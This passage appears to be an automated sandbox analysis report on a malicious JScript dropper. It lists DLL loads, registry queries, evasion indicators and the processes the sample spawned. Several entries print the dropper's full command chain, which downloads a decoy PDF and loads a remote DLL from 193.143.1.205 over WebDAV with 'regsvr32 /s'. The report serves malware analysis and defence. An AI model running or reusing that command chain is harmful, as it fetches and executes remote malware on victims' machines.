Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4269.js.csv");ITextStream.WriteLine(" entry:7158 f:sgjakwxoc");ITextStream.WriteLine(" exec:2 f:sgjakwxoc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4839			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5014			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep count: 4839 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep count: 5014 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7972	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7304	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1811212236.000002014F9CE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1811787160.000002014F968000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3036951454.000001F8B885B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.3035645670.000001F8B3224000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: net.exe, 00000006.00000003.1811212236.000002014F9CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll
